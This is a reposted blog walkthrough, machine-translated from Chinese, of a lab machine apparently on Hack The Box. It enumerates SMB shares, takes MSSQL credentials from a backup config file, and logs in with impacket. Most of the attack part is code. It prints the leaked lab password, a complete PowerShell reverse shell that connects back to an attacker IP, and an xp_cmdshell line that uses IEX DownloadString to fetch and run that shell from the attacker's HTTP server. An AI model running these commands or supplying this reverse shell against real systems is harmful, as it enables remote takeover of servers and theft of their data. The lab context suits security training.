当前位置:网站首页>SMB+MSSQL
SMB+MSSQL
2022-04-22 22:23:00 【BRAVE_ YAYA】

routine nmap Scan target IP, Get which port numbers are open and which services , You can see SMB Agreed 1433 Port number open , Along with MySQL Service for .
utilize SMB Medium smbclient Tools remotely connect and enumerate :
smbclient -N -L \\\\{TARGET_IP}\\ #-N:no password ,-L: The service found is applicable on the server side .

For a group of share, After testing ,ADMIN$ and C$ Can't be accessed , Because you can only access backups Catalog , Enumerate... According to the following command backups:
smbclient -N \\\\{TARGET_IP}\\backups
The following figure shows SMB Remote connection target IP, View directory , Download profile , And exit , I. whole process .

View the contents of the configuration file ( Key content : Password and user information ):

password :M3g4c0rp123, user :ARCHETYPE\sql_svc
According to the information provided , Need to use a tool to connect MSSQL The server , Use here impacket Tools .
Impacket Is used to handle network protocols Python Class set .Impacket Focus on providing low-level programming access to packets , For some agreements ( Such as SMB1-3 and MSRPC), Provide the protocol implementation itself . Packets can be constructed from scratch , It can also be parsed from the original data , And object-oriented API Make it easy to use the deep protocol hierarchy . The library provides a set of tools , As an example of operations that can be performed in the context of the library .
About how he installed , There is no superfluous explanation here . Connect directly from the command line MSSQL:
target_IP The front is the user , After that, you will enter the password in the previous configuration file .
python3 mssqlclient.py ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth

First , We need to confirm whether the connected object is in the service :
SELECT is_srvrolemember('sysadmin');
Set related commands , You need to make it possible to execute... In this connection mode cmd command .

Set up the success :

Come here , We have preliminarily obtained shell 了 .
Persistence shell
SQL Server Of shel It's a little thin , Since it is Windows, Then try using Powershell Script 、nc monitor Make a persistent connection .
First line IP Fill in the initial Kali IP, Pay attention to network segment
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.226",443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "# ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
Save it to kali The desktop of the , The name is shell.ps1
After use python Start a server , So that the target can access the script 、 Download script , The server starts on the desktop , and shell.ps1 In the same folder
python3 -m http.server 80
Make sure you have access to the script when you play

nc Start a monitor for shell Interaction , The port is the same as the one set above 443
nc -lvnp 443
return mssqlclient, Let the target access 、 download 、 Run script , Empathy xxx yes Kali IP
mssqlclient.py ARCHETYPE/[email protected] -windows-auth
SQL \> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.xxx/shell.ps1\");"
If you successfully connect to the other two windows, you can successfully see the listening host ,




版权声明
本文为[BRAVE_ YAYA]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204221451056300.html
边栏推荐
- muduo源码分析之Buffer
- How to open a web page online XMIND file (mind map file) and modeling file (. Sldprt file and. Sldasm file)
- Leetcode-238 - product of arrays other than itself
- Why do others earn more than 10000 yuan a month as we media? How many cents do you have every day? What are the ways of realization?
- 头部固定吸顶,不足一屏footer固定底部,超过一屏滚动,注意看注释
- COMP1011编程解答
- 深度报告:异构时代,芯片需集成多个模板
- First unique character in 342 leetcode string
- 阿里云日志服务sls的典型应用场景
- Mitochondrial membrane potential detection kit 10 times more sensitive than JC-1 fluorescent dye
猜你喜欢

自动化测试的生命周期是什么?

报名开启|QKE 容器引擎托管版暨容器生态发布会!

343 leetcode inverts vowels in a string

千亿级IM独立开发指南!全球即时通讯全套代码4小时速成(二)

pcba/ IPQ6010 802.11ax 2x2 2.4G&5G /2.5Gbps Ethernet Port

跨域问题及Umi-proxy代理解决跨域问题

CDN功能特性问题

'telnet 'is not an internal or external command, nor is it a runnable program or batch file

The accuracy of this gyroscope is too high. It is recommended to prohibit its use.

百思买Best Buy 网站EDI 测试流程
随机推荐
They are all intelligent in the whole house. What's the difference between aqara and homekit?
KunlunDB对MySQL私有DML语法的支持
智能名片小程序名片详情页功能实现关键代码
Series interpretation of smc-r (II): smc-r communication technology integrating TCP and RDMA
自动化测试的生命周期是什么?
RPCX源码学习-client端
Leetcode 04 Median of Two Sorted Arrays
Lightly:新一代的 Go IDE
CrashSight 接入上报常见问题及解决方案
Live app source code, with the page scrolling up and down, automatic ceiling
如何做一款成功的开源项目
Optimization point
HMS Core Discovery第14期回顾长文|纵享丝滑剪辑,释放视频创作力
阿里云容器&服务网格产品技术动态(202203)
前三个月免费试用!博睿数据告警平台OneAlert火热大促进行中
Function pointer and callback function
资源打包关系依赖树
Node error reporting record: cannot find module are we there yet \ index js
Sending non-protected broadcast
Leetcode 04 Median of Two Sorted Arrays